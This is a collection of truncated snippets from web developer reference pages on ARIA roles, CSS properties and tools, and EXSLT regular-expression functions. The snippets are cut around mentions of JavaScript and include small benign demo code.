the document is not collapsible. tabindex="0" Used to make it focusable so the assistive technology user can tab to it and start reading right away. Keyboard interactions The element should be made focusable by setting the tabindex="0" attribute / value pair on it. This way, the user can tab to it, reading mode is invoked automatically, and the content can be read right away. Required
JavaScript features None, except as required by any attributes. For example, if the document is collapsible, then the state and the value of aria-expanded must be maintained. Examples An example is Gmail and the single conversation view. GMail is a web application. When in GMail, most user agent interactions are usurped by the application. However, when the Keyboard focus is set on the starting heading o...
ARIA: feed role - Accessibility
imary content of the article. Each article element has aria-posinset set to a value that represents its position in the feed and an aria-setsize set to a value that represents either the total number of articles that have been loaded or the total number in the feed, depending on which value is more helpful to users. If the total number in the feed is not known, set aria-setsize="-1". Required
JavaScript features None, except as required by any attributes. For example, setting aria-busy to true during the update operation if needed, and then to false upon completion. Examples Example Implementation of Feed Pattern Specifications Specification Status Accessible Rich Internet Applications (WAI-ARIA) 1.1The definition of 'feed' in that specification. Recommendation ...
ARIA: form role - Accessibility
form" to identify a region of the page; do not use it to identify every form field. Even if you are using the form landmark instead of <form>, you are encouraged to use native HTML form controls like button, input, select, and textarea Associated WAI-ARIA Roles, States, and Properties No role specific states or properties. Keyboard Interactions No role specific keyboard interactions Required
JavaScript features onsubmit The onSubmit event handler handles the event raised when the form is submitted. Anything that is not a <form> cannot be submitted, therefore you would have to use
JavaScript to build an alternative data submission mechanism, for example with XMLHTTPRequest. Examples <div role="form" id="send-comment" aria-label="Add a comment"> <label for="username">Username</label> <...
ARIA: List role - Accessibility
Associated WAI-ARIA Roles, States, and Properties listitem A single item in a list or directory. Elements with role listitem can only be found in an element with the role list or group. group A collection of related objects, limited to list items when nested in a list, not important enough to have their own place in a pages table of contents. Keyboard Interactions None. Required
JavaScript features None. Examples ARIA Lists -- some useful examples and thoughts by Scott O'Hara Best practices Only use role="list" and role="listitem" if you have to -- for example if you don't have control over your HTML but are able to improve accessibility dynamically after the fact with
JavaScript. Unlike the HTML <ol> and <ul>, the ARIA list roles doesn't distinguish between ordered and unor...
ARIA: Listitem role - Accessibility
h role list must have one or more elements with the role listitem as children, a one or more elements with the role of group that have one or more elements with the listitem role as children. group A collection of related objects, limited to list items when nested in a list, not important enough to have their own place in a pages table of contents. Keyboard Interactions None. Required
JavaScript features None. Examples ARIA Lists -- some useful examples and thoughts by Scott O'Hara Best practices Only use role="list" and role="listitem" if you have to -- for example if you don't have control over your HTML but are able to improve accessibility dynamically after the fact with
JavaScript. If at all possible, you should use the appropriate semantic HTML elements to mark up a list and...
ARIA: Main role - Accessibility
stor. Example <body> <!-- primary navigation --> <div role="main"> <h1>The The First Indochina War</h1> <!-- article content --> </div> <!-- sidebar and footer --> </body> Accessibility concerns Use only one main role per document The main landmark role should only be used once per document. If a document contains two main roles, say updating page content when triggered by
JavaScript, the inactive main role's presence should be removed from assistive technology via techniques such as toggling the hidden attribute. <main> <h1>Active <code>main</code> element</h1> <!-- content --> </main <main hidden> <h1>Hidden <code>main</code> element</h1> <!-- content --> </main> Best practices Prefer HTML Using the <main> element will automatically communicate a section has a...
ARIA: Navigation Role - Accessibility
cate a section has a role of navigation. Developers should always prefer using the correct semantic HTML element over using ARIA. Associated WAI-ARIA Roles, States, and Properties aria-label A brief description of the purpose of the navigation, omitting the term "navigation", as the screen reader will read both the role and the contents of the label. Keyboard Interactions None. Required
JavaScript features None. Examples <div role="navigation" aria-label="Customer service"> <ul> <li><a href="#">Help</a></li> <li><a href="#">Order tracking</li> <li><a href="#">Shipping & Delivery</a></li> <li><a href="#">Returns</a></li> <li><a href="#">Contact us</a></li> <li><a href="#">Find a store</a></li> </ul> </div> Accessibility concerns Landmark roles are inten...
ARIA: Region role - Accessibility
given an accessible name. Developers should always prefer using the correct semantic HTML element, in this case <section>, over using ARIA. Associated WAI-ARIA Roles, States, and Properties aria-labelledby Use this attribute to label the region. Often, the value of the aria-labelledby attribute will be the id of the element used to title the section. Keyboard Interactions None. Required
JavaScript features None. Examples <div role="region" aria-labelledby="region-heading"> <h2 id="region-heading">This heading's <code>id</code> attribute helps this region have an accessible name</h2> <!-- region content --> </div> Accessibility concerns Use sparingly! Landmark roles are intended to be used sparingly, to identify larger overall sections of the document. Using too many landmark role...
ARIA: img role - Accessibility
Use with caution and test thoroughly. Another example where this might be suitable is when using ASCII emoji combinations, like the legendary "Table flip": <div role="img" aria-label="Table flip"> <p> (????)?( ??? </p> </div> Associated WAI-ARIA Roles, States, and Properties aria-label An accessible name is required. An aria-label attribute Keyboard Interactions Required
JavaScript features Examples star rating role="img" example Specifications Specification Status Accessible Rich Internet Applications (WAI-ARIA) 1.1The definition of 'img' in that specification. Recommendation Screen reader support TBD ...
ARIA: row role - Accessibility
g the position, or index, of each row. For example, if a table has 1,500 rows, but only the header and rows 47 and 52 are in the DOM, aria-rowindex="1" would be set on the header row, and aria-rowindex="47" and aria-rowindex="52" would be set on the 47th and 52nd row, respectively. If all the rows are present in the DOM, this attribute is not necessary. Keyboard Interactions None Required
JavaScript features None. For sortable columns, see the columnheader aria role. The first rule of ARIA use is you can use a native feature with the semantics and behavior you require already built in, instead of re-purposing an element and adding an ARIA role, state or property to make it accessible, then do so. Employ the HTML <table> element instead of the ARIA role of table whenever possible. Exa...
ARIA: rowgroup role - Accessibility
anged in rows and columns, similar to the native <table> HTML element. role="treegrid" Similar to a grid, but with rows that can be expanded and collapsed in the same manner as for a tree. Descendant roles role="row" A row of cells within a tabular structure. A row contains one or more cells, gridcell, or column headers, and sometimes a row header. Keyboard interactions None Required
JavaScript features None. The first rule of ARIA use is if you can use a native feature with the semantics and behavior you require already built in, instead of re-purposing an element and adding an ARIA role, state or property to make it accessible, then do so. Employ the HTML <table> element instead of the ARIA role of table whenever possible. Examples <div role="table" aria-label="Semantic Elements...
ARIA: table role - Accessibility
ia-rowcount attribute This attribute is only required if the rows are not present in the DOM all the time, such as scrollable tables that reuse rows to minimize the number of DOM nodes. It provides an explicit indication of the number of rows in the full table. Set the value to the total number of rows in the full table. If unknown, set aria-colcount="-1". Keyboard interactions None Required
JavaScript features None. For sortable columns, see the columnheader aria role. The first rule of ARIA use is if you can use a native feature with the semantics and behavior you require already built in, instead of re-purposing an element and adding an ARIA role, state or property to make it accessible, then do so. Employ the HTML <table> element instead of the ARIA role of table whenever possible. ...
ARIA: dialog role - Accessibility
y time in the user account section.</p> <button>Close</button> </div> Keep in mind that a dialog's title and description text do not have to be focusable in order to be perceived by screen readers operating in a non-virtual mode. The combination of the ARIA dialog role and labeling techniques should make the screen reader announce the dialog's information when focus is moved into it. Required
JavaScript features Focus management A dialog has particular requirements for how keyboard focus should be managed: Dialogs should always have at least one focusable control. For many dialogs, there will be a button like "Close", "OK" or "Cancel". In addition to the needed control, dialogs can contain any number of focusable elements, even entire forms or other container widgets like tabs. When the d...
ARIA: heading role - Accessibility
IA roles, states, and properties aria-level The aria-level attribute specifies the heading level in the document structure. If no level is present, a value of 2 is the default. Keyboard interactions This role does not require any special keyboard navigation. As with any heading, giving it an ID ensures it can be referenced from anchor links, making it accessible via the keyboard. Required
JavaScript features Required event handlers None. Changing attribute values Usually not required, unless dynamically inserting content. In that case, the newly-added headings need aria-level attributes whose values are consistent with the rest of the document structure. Instead of using a <div> or <span> with a heading role and aria-level, consider using a native <h1> through <h6> element instead t...
ARIA: listbox role - Accessibility
ed option and all options up to the first option. Optionally, moves focus to the first option. Control + Shift + End (Optional): Selects the focused option and all options down to the last option. Optionally, moves focus to the last option. Control + A (Optional): Selects all options in the list. Optionally, if all options are selected, it may also unselect all options. Required
JavaScript features selecting an option in a single select listbox When the user selects an option, the following must occur: Deselect the previously selected option, setting the aria-selected to false, or removing the attribute altogether, changing the appearance of the newly unselected option to appear not selected. Select the newly selected option, setting aria-selected="true" on the option and cha...
overview - Accessibility
Warning: needs updating Introduction Here's a look at working examples and best practices in building accessible
JavaScript widgets. General Resources DHTML Style Guide provides keyboard interaction recommendations WAI-ARIA Authoring Practices Guide Checkbox ARIA Toggle Button and Tri-state Checkbox examples (from "The Paciello Group Blog") ARIA Example Checkbox Widgets from the University of Illinois Menu Using WAI-ARIA Roles and States with the YUI Menu Control Slider From the Paciello Group Blog: ARIA Slider, part one, part two, part threet (example) Creating an Accessible, Internationalized Dojo Rating Widget Tabs Enhancing TabView Accessibility with WAI-ARIA Roles and States, from the YUI blog Enhancing the jQuery UI Tabs accordingly to WCAG 2.0 and ARIA T...
Accessibility Information for Web Authors - Accessibility
ur stylesheets. The Future: Accessible DHTML DHTML Accessibility Roadmap: a peek into how DHTML will be made accessible in the future. This document gives a plan which is being developed by IBM, Mozilla and WAI Protocols and Formats Working Group (PFWG) to address the issue of Accessible DHTML. Dynamic web content is not accessible, because it uses vanilla <div>'s and <span>'s combined with
Javascript rather than declarative markup to describe the behavior of custom widgets such as menus and tree views. These widgets are usually not even keyboard focusable. Furthermore, assistive technologies do not understand what these widgets are supposed to be, or what state they are in or what they are capable of. This document tackles such difficulties and shows several interactive desktop-style widgets...
-moz-image-rect - CSS: Cascading Style Sheets
d="box2" style="left:133px;top:0px;">Top right</div> <div id="box3" style="left:0px;top:136px;">Bottom left</div> <div id="box4" style="left:133px;top:136px;">Bottom right</div> </div> This places the four segments of our image in a two-by-two box grid. These four segments are all contained within a larger <div> block whose primary purpose is to receive click events and dispatch them to our
JavaScript code. The
JavaScript code This code handles the click event when the container receives a mouse click. function rotate() { var prevStyle = window.getComputedStyle(document.getElementById("box4"), null).getPropertyValue("background-image"); // Now that we've saved the last one, start rotating for (var i=1; i<=4; i++) { var curId = "box" + i; // Shift the background images ...
::after (:after) - CSS: Cascading Style Sheets
="ribbon">Look at the orange box after this text. </span> CSS .ribbon { background-color: #5BC8F7; } .ribbon::after { content: "This is a fancy orange box."; background-color: #FFBA10; border-color: black; border-style: dotted; } Result Tooltips This example uses ::after, in conjunction with the attr() CSS expression and a data-descr custom data attribute, to create tooltips. No
JavaScript is required! We can also support keyboard users with this technique, by adding a tabindex of 0 to make each span keyboard focusable, and using a CSS :focus selector. This shows how flexible ::before and ::after can be, though for the most accessible experience a semantic disclosure widget created in some other way (such as with details and summary elements) is likely to be more appropriate. HTM...
::part() - CSS: Cascading Style Sheets
ab):hover { background-color: #0c0c0d19; border-color: #0c0c0d33; } tabbed-custom-element::part(tab):hover:active { background-color: #0c0c0d33; } tabbed-custom-element::part(tab):focus { box-shadow: 0 0 0 1px #0a84ff inset, 0 0 0 1px #0a84ff, 0 0 0 4px rgba(10, 132, 255, 0.3); } tabbed-custom-element::part(active) { color: #0060df; border-color: #0a84ff !important; }
JavaScript let template = document.querySelector("#tabbed-custom-element"); globalThis.customElements.define(template.id, class extends HTMLElement { constructor() { super(); this.attachShadow({ mode: "open" }); this.shadowRoot.appendChild(template.content); } }); Result Specifications Specification Status Comment Shadow PartsThe definition of '::part' in t...
:checked - CSS: Cascading Style Sheets
ange; } /* Checkbox element, when checked */ input[type="checkbox"]:checked { box-shadow: 0 0 0 3px hotpink; } /* Option elements, when selected */ option:checked { box-shadow: 0 0 0 3px lime; color: red; } Result Toggling elements with a hidden checkbox This example utilizes the :checked pseudo-class to let the user toggle content based on the state of a checkbox, all without using
JavaScript. HTML <input type="checkbox" id="expand-toggle" /> <table> <thead> <tr><th>Column #1</th><th>Column #2</th><th>Column #3</th></tr> </thead> <tbody> <tr class="expandable"><td>[more text]</td><td>[more text]</td><td>[more text]</td></tr> <tr><td>[cell text]</td><td>[cell text]</td><td>[cell text]</td></tr> <tr><td>[cell text]</td><td>[cell text]</td><td>[cell text]</td></t...
:first - CSS: Cascading Style Sheets
s. You can only change the margins, orphans, widows, and page breaks of the document. Furthermore, you may only use absolute-length units when defining the margins. All other properties will be ignored. Syntax :first Examples HTML <p>First Page.</p> <p>Second Page.</p> <button>Print!</button> CSS @page :first { margin-left: 50%; margin-top: 50%; } p { page-break-after: always; }
JavaScript document.querySelector("button").addEventListener('click', () => { window.print(); }); Result Press the "Print!" button to print the example. The words on the first page should be somewhere around the center, while other pages will have their contents at the default position. Specifications Specification Status Comment CSS Paged Media Module Level 3The defini...
:fullscreen - CSS: Cascading Style Sheets
reen pseudo-class lets you configure your stylesheets to automatically adjust the size, style, or layout of content when elements switch back and forth between full-screen and traditional presentations. Examples In this example, the color of a button is changed depending on whether or not the document is in full-screen mode. This is done without needing to specifically apply style changes using
JavaScript. HTML The page's HTML looks like this: <h1>MDN Web Docs Demo: :fullscreen pseudo-class</h1> <p>This demo uses the <code>:fullscreen</code> pseudo-class to automatically change the style of a button used to toggle full-screen mode on and off, entirely using CSS.</p> <button id="fs-toggle">Toggle Fullscreen</button> The <button> with the ID "fs-toggle" will change between pale red and pal...
:target - CSS: Cascading Style Sheets
?</p> CSS p:target { background-color: gold; } /* Add a pseudo-element inside the target element */ p:target::before { font: 70% sans-serif; content: "?"; color: limegreen; margin-right: .25em; } /* Style italic elements within the target element */ p:target i { color: red; } Result Pure-CSS lightbox You can use the :target pseudo-class to create a lightbox without using any
JavaScript. This technique relies on the ability of anchor links to point to elements that are initially hidden on the page. Once targeted, the CSS changes their display so that they are shown. Note: A more complete pure-CSS lightbox based on the :target pseudo-class is available on GitHub (demo). HTML <ul> <li><a href="#example1">Open example #1</a></li> <li><a href="#example2">Open example #2</a></...
@keyframes - CSS: Cascading Style Sheets
transform: translateX(0%); } to { transform: translateX(100%); } } Values <custom-ident> A name identifying the keyframe list. This must match the identifier production in CSS syntax. from A starting offset of 0%. to An ending offset of 100%. <percentage> A percentage of the time through the animation sequence at which the specified keyframe should occur. Description
JavaScript can access the @keyframes at-rule with the CSS object model interface CSSKeyframesRule. To use keyframes, create a @keyframes rule with a name that is then used by the animation-name property to match an animation to its keyframe declaration. Each @keyframes rule contains a style list of keyframe selectors, which specify percentages along the animation when the keyframe occurs, and a block conta...
aspect-ratio - CSS: Cascading Style Sheets
step="5" value="165"> <iframe id="outer" src="data:text/html,<style> @media (min-aspect-ratio: 8/5) { div { background: %239af; } } @media (max-aspect-ratio: 3/2) { div { background: %239ff; } } @media (aspect-ratio: 1/1) { div { background: %23f9a; } }</style><div id='inner'> Watch this element as you resize your viewport's width and height.</div>"> </iframe> CSS iframe{ display:block; }
JavaScript outer.style.width=outer.style.height="165px" w.onchange=w.oninput=function(){ outer.style.width=w.value+"px" wf.textContent="width:"+w.value } h.onchange=h.oninput=function(){ outer.style.height=h.value+"px" hf.textContent="height:"+h.value } Result Specifications Specification Status Comment Media Queries Level 4The definition of 'aspect-ratio' in th...
scripting - CSS: Cascading Style Sheets
Syntax The scripting feature is specified as a keyword value chosen from the list below. none Scripting is completely unavailable on the current document. initial-only Scripting is enabled during the initial page load, but not afterwards. enabled Scripting is supported and active on the current document. Examples HTML <p class="script-none">You do not have scripting available. :-(</p> <p class="script-initial-only">Your scripting is only enabled during the initial page load. ...
@supports - CSS: Cascading Style Sheets
The @supports CSS at-rule lets you specify declarations that depend on a browser's support for one or more specific CSS features. This is called a feature query. The rule may be placed at the top level of your code or nested inside any other conditional group at-rule. @supports (display: grid) { div { display: grid; } } @supports not (display: grid) { div { float: right; } } In
JavaScript, @supports can be accessed via the CSS object model interface CSSSupportsRule. Syntax The @supports at-rule associates a block of statements with a supports condition. The supports condition consists of one or more name-value pairs combined by conjunctions (and), disjunctions (or), and/or negations (not). Precedence of operators can be defined with parentheses. Declaration syntax The most bas...
Coordinate systems - CSS: Cascading Style Sheets
t's position relative to the screen's origin. Example Let's take a look at an example. This simple example creates a set of nested boxes. Whenever the mouse enters, moves around inside, or exits the inner box, the corresponding event is handled by updating a set of informational messages within the box, listing out the current mouse coordinates in each of the four available coordinate systems.
JavaScript Let's look at the script in two sections. First, the code that logs the coordinates to the screen. This code will be called by the event handler for the various mouse events we watch. Displaying the coordinates As we'll see in the HTML, the inner box (the one we're watching for events on) contains several paragraphs; one for each of the four coordinate systems we'll be reporting on. let inner...
Border-image generator - CSS: Cascading Style Sheets
gin: 0 0 10px 0; line-height: 25px; text-align: center; color: #AAA; } #output .css-property { width: 100%; margin: 0; color: #555; font-size: 14px; line-height: 18px; float: left; } #output .css-property .name { width: 30%; font-weight: bold; text-align: right; float: left; } #output .css-property .value { width: 65%; padding: 0 2.5%; word-break: break-all; float: left; }
JavaScript Content 'use strict'; /** * UI-SlidersManager */ var InputSliderManager = (function InputSliderManager() { var subscribers = {}; var sliders = []; var InputComponent = function InputComponent(obj) { var input = document.createElement('input'); input.setAttribute('type', 'text'); input.style.width = 50 + obj.precision * 10 + 'px'; input.addEventListener('click', function(e) { ...
Border-radius generator - CSS: Cascading Style Sheets
{ width: 200px; color: #444; float:left; } #dimensions input { background: #555; color: #FFF; border: none; border-radius: 3px; } #output { width: 500px; padding: 10px 0; margin: 10px 0; color: #555; text-align: center; border: 1px dashed #999; border-radius: 3px; -moz-user-select: text; -webkit-user-select: text; -ms-user-select: text; user-select: text; float: right; }
JavaScript Content 'use strict'; /** * UI-InputSliderManager */ var InputSliderManager = (function InputSliderManager() { var subscribers = {}; var sliders = []; var InputComponent = function InputComponent(obj) { var input = document.createElement('input'); input.setAttribute('type', 'text'); input.addEventListener('click', function(e) { this.select(); }); input.addEventListener('...
Box-shadow generator - CSS: Cascading Style Sheets
order: 1px dashed #CCC; border-radius: 3px; display: none; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -moz-user-select: text; -webkit-user-select: text; -ms-user-select: text; } #output .css-property { width: 100%; float: left; white-space: pre; } #output .name { width: 35%; float: left; } #output .value { width: 65%; float: left; }
JavaScript Content 'use strict'; /** * UI-SlidersManager */ var SliderManager = (function SliderManager() { var subscribers = {}; var sliders = []; var Slider = function(node) { var min = node.getAttribute('data-min') | 0; var max = node.getAttribute('data-max') | 0; var step = node.getAttribute('data-step') | 0; var value = node.getAttribute('data-value') | 0; var snap = node.getAttri...
Using URL values for the cursor property - CSS: Cascading Style Sheets
All image formats supported by Gecko can be used. This means that you can use PNG, GIF, JPG, BMP, CUR, etc. images. ANI is not supported. An animated PNG or GIF will not create an animated cursor. Note: Starting with Gecko 2.0, Gecko also supports the SVG image format for cursors. However, the SVG image must contain a length-valued (not percentage-valued) height and width on its root SVG node.
JavaScript, CSS animation, and declarative SMIL inside an SVG image are ignored; you can't use SVG to create an animated cursor, for example. In Gecko (Firefox) the limit of the cursor size is 128x128px. Larger cursor images are ignored. However, you should limit yourself to the size 32x32 for maximum compatibility with operating systems and platforms. (Due to a bug in Gecko 1.9.2-1.9.2.6, Firefox 3.6-3.
Color picker tool - CSS: Cascading Style Sheets
as-controls.png') center right no-repeat; } #zindex { height: 20px; margin: 5px; font-size: 16px; position: absolute; opacity: 0; top: -10000px; left: 0; color: #777; float: left; transition: opacity 1s; } #zindex input { border: 1px solid #DDD; font-size: 16px; color: #777; } #zindex .ui-input-slider-info { width: 60px; } #zindex[data-active='true'] { top: 0; opacity: 1; }
JavaScript Content 'use strict'; var UIColorPicker = (function UIColorPicker() { function getElemById(id) { return document.getElementById(id); } var subscribers = []; var pickers = []; /** * RGBA Color class * * HSV/HSB and HSL (hue, saturation, value / brightness, lightness) * @param hue 0-360 * @param saturation 0-100 * @param value 0-100 * @param lightness 0-100 */ fun...
Mastering Wrapping of Flex Items - CSS: Cascading Style Sheets
collapsing items may change the flex container's main size, but is guaranteed to have no effect on its cross size and won't cause the rest of the page's layout to "wobble". Flex line wrapping is re-done after collapsing, however, so the cross-size of a flex container with multiple lines might or might not change." - Collapsed items This behaviour is useful if you want to target flex items using
JavaScript to show and hide content for example. The example in the specification demonstrates one such pattern. In the following live example I have a non-wrapped flex container. The third item has more content than the others yet is set to visibility: collapse and therefore the flex container is retaining a strut of the height required to display this item. If you remove visibility: collapse from the CSS...
CSS reference - CSS: Cascading Style Sheets
es the entire rule. Invalid rules are ignored by the browser. Note that CSS rule definitions are entirely (ASCII) text-based, whereas DOM-CSS / CSSOM (the rule management system) is object-based. At-rule syntax As the structure of at-rules varies widely, please see At-rule to find the syntax of the specific one you want. Keyword index Note: The property names in this index do not include the
JavaScript names where they differ from the CSS standard names. --webkit-line-clampA:activeadditive-symbols (@counter-style)::after (:after)align-contentalign-itemsalign-selfall<an-plus-b><angle><angle-percentage>animationanimation-delayanimation-directionanimation-durationanimation-fill-modeanimation-iteration-countanimation-nameanimation-play-stateanimation-timing-function@annotationannotation()att...
Specificity - CSS: Cascading Style Sheets
ts. Both inline styles and !important are considered very bad practice, but sometimes you need the latter to override the former. In this case, you could set certain styles in your global CSS file as !important, thus overriding inline styles set directly on elements. <div class="foo" style="color: red;">What color am I?</div> .foo[style*="color: red"] { color: firebrick !important; } Many
JavaScript frameworks and libraries add inline styles. Using !important with a very targeted selector is one way to override these inline styles. B) Overriding high specificity #someElement p { color: blue; } p.awesome { color: red; } How do you make awesome paragraphs always turn red, even ones inside #someElement? Without !important, the first rule will have more specificity and will win over the ...
Linear-gradient Generator - CSS: Cascading Style Sheets
: text; -webkit-user-select: text; -ms-user-select: text; user-select: text; } #output .css-property { width: 90%; margin: 5px 5%; color: #777; position: relative; float: left; } #output .property { height: 100%; width: 12%; position: absolute; left: 0; } #output .value { width: 88%; position: absolute; white-space: pre; word-wrap: break-word; display: block; right: 0; }
JavaScript Content var UIColorPicker = (function UIColorPicker() { 'use strict'; function getElemById(id) { return document.getElementById(id); } var subscribers = []; var pickers = []; /** * RGBA Color class * * HSV/HSB and HSL (hue, saturation, value / brightness, lightness) * @param hue 0-360 * @param saturation 0-100 * @param value 0-100 * @param lightness 0-100 */ fun...
Using CSS custom properties (variables) - CSS: Cascading Style Sheets
k. If you had written color: 16px without any variable substitutes, then it was a syntax error. The previous declaration will then be used. Note: While a syntax error in a CSS property / value pair will lead to the line being ignored, using a cascaded value, invalid substitution -- using a custom property value that is invalid -- is not ignored, leading to the value to be inherited. Values in
JavaScript To use the values of custom properties in
JavaScript, it is just like standard properties. // get variable from inline style element.style.getPropertyValue("--my-var"); // get variable from wherever getComputedStyle(element).getPropertyValue("--my-var"); // set variable on inline style element.style.setProperty("--my-var", jsVar + 4); ...
Viewport concepts - CSS: Cascading Style Sheets
The width media query in the SVG is based on the element in which the SVG is contained -- the <img> if the source is an SVG file, the SVG itself if the SVG is included directly into the HTML, or the parent if the parent element has a width assigned and -- not the viewport's width. With the above media query being in our SVG file, the CSS is applied if the SVG container is between 400 and 500px.
JavaScript The Visual Viewport API provides a mechanism for querying and modifying the properties of the visual viewport. Mobile Viewports Mobile devices come in all shapes and sizes, with screens of differing device pixel ratios. The mobile browser's viewport is the area of the window in which web content can be seen, which is not necessarily the same size as the rendered page. Mobile browsers render pa...
align-content - CSS: Cascading Style Sheets
<option value="unsafe center">unsafe center</option> <option value="safe right">safe right</option> <option value="unsafe right">unsafe right</option> <option value="safe end">safe end</option> <option value="unsafe end">unsafe end</option> <option value="safe flex-end">safe flex-end</option> <option value="unsafe flex-end">unsafe flex-end</option> </select> </div>
JavaScript var values = document.getElementById('values'); var display = document.getElementById('display'); var container = document.getElementById('container'); values.addEventListener('change', function (evt) { container.style.alignContent = evt.target.value; }); display.addEventListener('change', function (evt) { container.className = evt.target.value; }); Result Specifications Sp...
align-items - CSS: Cascading Style Sheets
value="unsafe right">unsafe right</option> <option value="safe end">safe end</option> <option value="unsafe end">unsafe end</option> <option value="safe self-end">safe self-end</option> <option value="unsafe self-end">unsafe self-end</option> <option value="safe flex-end">safe flex-end</option> <option value="unsafe flex-end">unsafe flex-end</option> </select> </div>
JavaScript var values = document.getElementById('values'); var display = document.getElementById('display'); var container = document.getElementById('container'); values.addEventListener('change', function (evt) { container.style.alignItems = evt.target.value; }); display.addEventListener('change', function (evt) { container.className = evt.target.value; }); Result Specifications Spec...
<length> - CSS: Cascading Style Sheets
inset -3px -3px 5px rgba(0,0,0,0.5); background-color: orange; display: flex; align-items: center; margin-top: 10px; } .result code { position: absolute; margin-left: 20px; } .results { margin-top: 10px; } .input-container { position: absolute; display: flex; justify-content: flex-start; align-items: center; height: 50px; } label { margin: 0 10px 0 20px; }
JavaScript const inputDiv = document.querySelector('.inner'); const inputElem = document.querySelector('input'); const resultsDiv = document.querySelector('.results'); inputElem.addEventListener('change', () => { inputDiv.style.width = inputElem.value; const result = document.createElement('div'); result.className = 'result'; result.style.width = inputElem.value; result.innerHTML = `<code>width...
mask-repeat - CSS: Cascading Style Sheets
changed in the live sample */ margin-bottom: 10px; } HTML Content <div id="masked"> </div> <select id="repetition"> <option value="repeat-x">repeat-x</option> <option value="repeat-y">repeat-y</option> <option value="repeat" selected>repeat</option> <option value="space">space</option> <option value="round">round</option> <option value="no-repeat">no-repeat</option> </select>
JavaScript Content var repetition = document.getElementById("repetition"); repetition.addEventListener("change", function (evt) { document.getElementById("masked").style.maskRepeat = evt.target.value; }); Result Multiple mask image support You can specify a different <repeat-style> for each mask image, separated by commas: .examplethree { mask-image: url('mask1.png'), url('mask2.png'); mask-r...
overflow - CSS: Cascading Style Sheets
scrolling element it would forcibly rewrap the content after each scroll step, leading to a slow scrolling experience. In order for overflow to have an effect, the block-level container must have either a set height (height or max-height) or white-space set to nowrap. Setting one axis to visible (the default) while setting the other to a different value results in visible behaving as auto. The
JavaScript Element.scrollTop property may be used to scroll an HTML element even when overflow is set to hidden. Formal definition Initial valuevisibleApplies toBlock-containers, flex containers, and grid containersInheritednoComputed valueas each of the properties of the shorthand:overflow-x: as specified, except with visible/clip computing to auto/hidden respectively if one of overflow-x or overflow-y i...
place-items - CSS: Cascading Style Sheets
nd normal</option> <option value="left auto">left auto</option> <option value="right normal">right normal</option> <option value="baseline normal">baseline normal</option> <option value="first baseline auto">first baseline auto</option> <option value="last baseline normal">last baseline normal</option> <option value="stretch auto">stretch auto</option> </select> </div>
JavaScript var values = document.getElementById('values'); var display = document.getElementById('display'); var container = document.getElementById('container'); values.addEventListener('change', function (evt) { container.style.placeItems = evt.target.value; }); display.addEventListener('change', function (evt) { container.className = evt.target.value; }); CSS #container { height:200px; wid...
<transform-function> - CSS: Cascading Style Sheets
ight { background: rgba(210,0,0,.7); transform: rotateY(90deg) translateZ(50px); } .left { background: rgba(0,0,210,.7); transform: rotateY(-90deg) translateZ(50px); } .top { background: rgba(210,210,0,.7); transform: rotateX(90deg) translateZ(50px); } .bottom { background: rgba(210,0,210,.7); transform: rotateX(-90deg) translateZ(50px); } .select-form { margin-top: 50px; }
JavaScript const selectElem = document.querySelector('select'); const example = document.querySelector('#example-element'); selectElem.addEventListener('change', () => { if(selectElem.value === 'Choose a function') { return; } else { example.style.transform = `rotate3d(1, 1, 1, 30deg) ${selectElem.value}`; setTimeout(function() { example.style.transform = 'rotate3d(1, 1, 1, 30deg)'; ...
transform-style - CSS: Cascading Style Sheets
otateY(180deg) translateZ(50px); } .right { background: rgba(210,0,0,.7); transform: rotateY(90deg) translateZ(50px); } .left { background: rgba(0,0,210,.7); transform: rotateY(-90deg) translateZ(50px); } .top { background: rgba(210,210,0,.7); transform: rotateX(90deg) translateZ(50px); } .bottom { background: rgba(210,0,210,.7); transform: rotateX(-90deg) translateZ(50px); }
JavaScript const cube = document.getElementById('example-element'); const checkbox = document.getElementById('preserve'); checkbox.addEventListener('change', () => { if(checkbox.checked) { cube.style.transformStyle = 'preserve-3d'; } else { cube.style.transformStyle = 'flat'; } }) Result Specifications Specification Status Comment CSS Transforms Level 2The de...
transition - CSS: Cascading Style Sheets
ce for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Transitions enable you to define the transition between two states of an element. Different states may be defined using pseudo-classes like :hover or :active or dynamically set using
JavaScript. Constituent properties This property is a shorthand for the following CSS properties: transition-delay transition-duration transition-property transition-timing-function Syntax /* Apply to 1 property */ /* property name | duration */ transition: margin-right 4s; /* property name | duration | delay */ transition: margin-right 4s 1s; /* property name | duration | timing function */ tr...
Used value - CSS: Cascading Style Sheets
th-50"> <p>Explicit width: 50%.</p> <p class="show-used-width">..</p> <div id="width-inherit"> <p>Explicit width: inherit.</p> <p class="show-used-width">..</p> </div> </div> </div> CSS #no-width { width: auto; } #width-50 { width: 50%; } #width-inherit { width: inherit; } /* Make results easier to see */ div { border: 1px solid red; padding: 8px; }
JavaScript function updateUsedWidth(id) { var div = document.querySelector(`#${id}`); var par = div.querySelector('.show-used-width'); var wid = window.getComputedStyle(div)["width"]; par.textContent = `Used width: ${wid}.`; } function updateAllUsedWidths() { updateUsedWidth("no-width"); updateUsedWidth("width-50"); updateUsedWidth("width-inherit"); } updateAllUsedWidths(); window.addEventL...
regexp:match() - EXSLT
XSLT/XPath Reference: XSLT elements, EXSLT functions, XPath functions, XPath axes regexp:match() performs regular expression matching on a string, returning the submatches found as a result. Syntax regexp:match(targetString, regExpString[, flagsString]) Parameters targetString The string to perform regular expression matching upon. regExpString The
JavaScript style regular expression to evaluate. flagsStringOptional An optional string containing character flags. The character flags are: g Global match The submatches from every match in the string are returned. If this flag isn't specified, only the submatches from the first match are returned. i Case insensitive match If this flag is specified, the match is performed in a case insensitive fashion. Returns A nod...
regexp:replace() - EXSLT
XSLT/XPath Reference: XSLT elements, EXSLT functions, XPath functions, XPath axes regexp:replace() replaces the portions of a string that match a given regular expression with the contents of another string. Syntax regexp:replace(originalString, regExpString, flagsString, replaceString) Parameters originalString The string perform a search-and-replace operation upon. regExpString The
JavaScript style regular expression to evaluate. flagsString The string containing character flags. replaceString The string with which the matched substrings are to be replaced. The character flags are: g - Global replace If this flag is specified, all occurrences of the regular expression within the originalString are replaced. Otherwise only the first occurrence is replaced. i - Case insensiti...
Community - Developer guides
If you know of useful mailing lists, newsgroups, forums, or other communities related to AJAX, please link to them here. ...
Setting up adaptive streaming media sources - Developer guides
